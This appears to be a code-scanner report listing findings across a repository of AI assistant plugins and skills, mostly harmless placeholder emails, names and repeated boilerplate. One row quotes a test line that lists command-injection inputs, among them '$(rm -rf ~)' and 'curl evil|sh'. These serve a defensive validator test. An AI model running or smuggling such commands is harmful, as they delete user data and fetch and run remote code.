LOW…nds-framework-svelte/commands/svelte-storybook-mock.md175 email: 'user@example.com',CODE
LOWplugins/all-commands/commands/svelte-storybook-mock.md175 email: 'user@example.com',CODE
LOWplugins/all-commands/commands/design-rest-api.md709 example: 'user@example.com'CODE
LOWplugins/claude-ops/skills/ops-comms/SKILL.md72| `gog gmail send --to "user@example.com" --subject "subj" --body "text"` | Send new email | Send result |CODE
LOWplugins/claude-ops/skills/setup/SKILL.md3030gog gmail send --to "user@example.com" --subject "subj" --body "text" # Send new emailCODE
LOWplugins/claude-ops/skills/setup/SKILL.md3039gog gmail drafts create --to "user@example.com" --subject "subj" --body "text"CODE
LOWplugins/frontend-design-pro/commands/design.md196- No Lorem ipsum (realistic content)CODE
LOW…gins/frontend-design-pro/skills/design-wizard/SKILL.md178- No Lorem ipsum (realistic placeholder content)CODE
LOW…ins/all-skills/skills/google-drive-automation/SKILL.md84- User email searches: use `'user@example.com' in owners` (NOT `owner:user@example.com`)CODE
LOWplugins/all-skills/skills/intercom-automation/SKILL.md172 "value": "user@example.com"CODE
LOWplugins/all-skills/skills/freshdesk-automation/SKILL.md142- `query`: Search string like `"email:'user@example.com'"` (required)CODE
LOWplugins/all-skills/skills/freshdesk-automation/SKILL.md163- **Requester email -> requester_id**: `FRESHDESK_SEARCH_CONTACTS` with `"email:'user@example.com'"`CODE
LOWplugins/all-skills/skills/pptx/SKILL.md155 - Use `class="placeholder"` for areas where charts/tables will be added (render with gray background for visibility)CODE
LOWplugins/all-skills/skills/pptx/html2pptx.md34- `class="placeholder"` - Reserved space for charts (returns `{ id, x, y, w, h }`)CODE
LOWplugins/all-skills/skills/pptx/html2pptx.md172 <div id="chart" class="placeholder" style="width: 350pt; height: 200pt;"></div>CODE
LOWplugins/all-skills/skills/pptx/scripts/html2pptx.js16 * - Extracts placeholder elements (class="placeholder") with positionsCOMMENT
LOWplugins/all-skills/skills/pptx/scripts/html2pptx.js558 if (el.className && el.className.includes('placeholder')) {CODE
LOW…ills/webapp-testing/examples/static_html_automation.py21 page.fill('#name', 'John Doe')CODE
LOWplugins/all-skills/skills/resemble-detect/SKILL.md368 "name": "Jane Doe"CODE
LOWplugins/all-skills/skills/resemble-detect/SKILL.md390 { "uuid": "...", "name": "Jane Doe", "confidence": 0.92, "distance": 0.08 }CODE
LOW…ugins/all-skills/skills/convertkit-automation/SKILL.md1401. Call KIT_LIST_SUBSCRIBERS with email_address='user@example.com'CODE
LOW…ills/skills/mcp-builder/reference/python_mcp_server.md332 "name": str, # Full name (e.g., "John Doe")STRING
LOW…ills/skills/mcp-builder/reference/python_mcp_server.md599 return {"id": user_id, "name": "John Doe", "email": "john@example.com"}CODE
LOW…skills/skills/mcp-builder/reference/node_mcp_server.md154 "name": string, // Full name (e.g., "John Doe")CODE
LOWplugins/all-skills/skills/sendgrid-automation/SKILL.md136- `query`: SQL-like query string, e.g., `status="delivered"`, `to_email="user@example.com"`, date ranges with `BETWEEN TCODE
LOWplugins/all-skills/skills/docx/ooxml.md298doc = Document('unpacked', author="John Doe", initials="JD")CODE
LOWplugins/all-skills/skills/docx/scripts/document.py10 doc = Document('workspace/unpacked', author="John Doe", initials="JD")STRING
LOWplugins/gsd/agents/gsd-plan-checker.md354 - `"future enhancement"`, `"placeholder"`, `"basic version"`, `"minimal"`CODE
LOWplugins/gsd/agents/gsd-executor.md571- Placeholder text: "not available", "coming soon", "placeholder", "TODO", "FIXME"CODE
LOWplugins/gsd/agents/gsd-planner.md80- "future enhancement", "placeholder", "basic version", "minimal implementation"CODE
LOW…s/commands-api-development/commands/design-rest-api.md709 example: 'user@example.com'CODE
Cross-File Repetition6 hits · 30 pts
SeverityFileLineSnippetContext
HIGH…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py0run all validation checks and return true if all pass.STRING
HIGH…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py0run all validation checks and return true if all pass.STRING
HIGH…ll-skills/skills/pptx/ooxml/scripts/validation/base.py0run all validation checks and return true if all pass.STRING
HIGH…ll-skills/skills/docx/ooxml/scripts/validation/docx.py0run all validation checks and return true if all pass.STRING
HIGH…ll-skills/skills/docx/ooxml/scripts/validation/pptx.py0run all validation checks and return true if all pass.STRING
HIGH…ll-skills/skills/docx/ooxml/scripts/validation/base.py0run all validation checks and return true if all pass.STRING
Example Usage Blocks17 hits · 26 pts
SeverityFileLineSnippetContext
LOW…all-skills/skills/slack-gif-creator/templates/pulse.py231# Example usageCOMMENT
LOW…ll-skills/skills/slack-gif-creator/templates/wiggle.py263# Example usageCOMMENT
LOW…lls/skills/slack-gif-creator/templates/kaleidoscope.py195# Example usageCOMMENT
LOW…all-skills/skills/slack-gif-creator/templates/slide.py234# Example usageCOMMENT
LOW…/all-skills/skills/slack-gif-creator/templates/spin.py234# Example usageCOMMENT
LOW…/all-skills/skills/slack-gif-creator/templates/zoom.py282# Example usageCOMMENT
LOW…all-skills/skills/slack-gif-creator/templates/shake.py112# Example usageCOMMENT
LOW…all-skills/skills/slack-gif-creator/templates/morph.py285# Example usageCOMMENT
LOW…ll-skills/skills/slack-gif-creator/templates/bounce.py87# Example usageCOMMENT
LOW…l-skills/skills/slack-gif-creator/templates/explode.py296# Example usageCOMMENT
LOW…/all-skills/skills/slack-gif-creator/templates/move.py240# Example usageCOMMENT
LOW…/all-skills/skills/slack-gif-creator/templates/flip.py256# Example usageCOMMENT
LOW…/all-skills/skills/slack-gif-creator/templates/fade.py290# Example usageCOMMENT
LOW…/all-skills/skills/obsidian-rest-api/scripts/olrapi.sh6# Usage:COMMENT
LOW…s/skills/youtube-transcript/scripts/resolve_channel.sh5# Usage:COMMENT
LOW…lls/youtube-transcript/scripts/fetch_channel_latest.sh6# Usage:COMMENT
LOW…/skills/youtube-transcript/scripts/fetch_transcript.sh4# Usage:COMMENT
AI Structural Patterns18 hits · 16 pts
SeverityFileLineSnippetContext
LOW…lls/ecommerce-material-studio/scripts/style_matcher.py501CODE
LOW…erce-material-studio/scripts/scene_aware_compositor.py1089CODE
LOW…erce-material-studio/scripts/scene_aware_compositor.py759CODE
LOW…ecommerce-material-studio/scripts/category_detector.py744CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py181CODE
LOW…all-skills/skills/slack-gif-creator/templates/pulse.py20CODE
LOW…all-skills/skills/slack-gif-creator/templates/pulse.py188CODE
LOW…ll-skills/skills/slack-gif-creator/templates/wiggle.py20CODE
LOW…all-skills/skills/slack-gif-creator/templates/slide.py19CODE
LOW…/all-skills/skills/slack-gif-creator/templates/spin.py20CODE
LOW…/all-skills/skills/slack-gif-creator/templates/zoom.py20CODE
LOW…all-skills/skills/slack-gif-creator/templates/shake.py19CODE
LOW…all-skills/skills/slack-gif-creator/templates/morph.py20CODE
LOW…ll-skills/skills/slack-gif-creator/templates/bounce.py19CODE
LOW…l-skills/skills/slack-gif-creator/templates/explode.py23CODE
LOW…/all-skills/skills/slack-gif-creator/templates/move.py19CODE
LOW…/all-skills/skills/slack-gif-creator/templates/flip.py20CODE
LOW…/all-skills/skills/slack-gif-creator/templates/fade.py20CODE
Cross-Language Confusion3 hits · 12 pts
SeverityFileLineSnippetContext
HIGH⚡plugins/tlsradar/scripts/dns_provider_test.py126 for bad in ["$(rm -rf ~)", "`id`", "a && curl evil|sh", "a; reboot", "a|b", "a\nb", "a b", "$(curl http://x)"]:CODE
HIGH…ll-skills/skills/webapp-testing/scripts/with_server.py12 --server "cd backend && python server.py" --port 3000 \STRING
HIGH…ll-skills/skills/webapp-testing/scripts/with_server.py13 --server "cd frontend && npm run dev" --port 5173 \STRING
Synthetic Comment Markers2 hits · 10 pts
SeverityFileLineSnippetContext
HIGHplugins/all-commands/commands/test-coverage.md128 - Properly exclude auto-generated codeCODE
HIGH…mmands-code-analysis-testing/commands/test-coverage.md128 - Properly exclude auto-generated codeCODE
Modern Structural Boilerplate2 hits · 2 pts
SeverityFileLineSnippetContext
LOW…kills/skills/pptx/ooxml/scripts/validation/__init__.py10__all__ = [CODE
LOW…kills/skills/docx/ooxml/scripts/validation/__init__.py10__all__ = [CODE